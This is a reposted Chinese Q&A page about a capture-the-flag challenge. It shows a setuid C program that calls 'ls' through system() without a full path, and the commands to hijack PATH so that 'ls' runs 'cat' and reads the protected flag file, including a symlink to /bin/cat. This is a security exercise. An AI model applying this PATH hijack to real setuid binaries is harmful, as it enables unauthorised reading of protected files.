如何将’ls’命令转换为’cat’命令?
发布时间:2020-12-14 01:06:00 所属栏目:Linux 来源:网络整理
导读:我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志.有一个易受攻击的C代码,它有setuid. -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c -rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag 我是用户攻击者,
我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志.有一个易受攻击的C代码,它有setuid.
-rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c -rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag 我是用户攻击者,我必须阅读此标志文件.给定的C代码是 #include <stdlib.h> #include <stdio.h> #define FILENAME "/var/challenges/attacker/challenge1/flag" int main(void) { int vert; vert = system("ls " FILENAME); if(!vert) puts("Flag is at " FILENAME " :P "); else puts("Sorry! no file is there"); } 我试图将ls转换为cat,这样如果运行,那么它将读取标志文件.为此,我将所有bin文件夹复制到我的本地空间,然后用cat替换ls然后导出新的PATH.从技术上讲,它应该替换,我的ls命令应该像猫一样工作,但它不起作用.以下是我的命令: cp -r /bin /home/attacker cd /home/attacker/bin rm ls cp cat ls export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games ls命令无法正常工作,输出为: ls: unrecognized option '--color=auto' Try 'ls --help' for more information. 当我试图运行./vul_c它说权限被拒绝然后它打印对不起!没有档案. 对此的任何帮助都会很棒. 解决方法
你是在正确的方向,但你只是为这个小事做了太多的努力.而不是创建程序为什么不创建符号链接,然后将其指向cat.
尝试这一步: ln -s /bin/cat ls 最后,导出这个,我希望你将完成你的解决方案.在这方面,您甚至不必担心许可.如果有效,请告诉我. (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |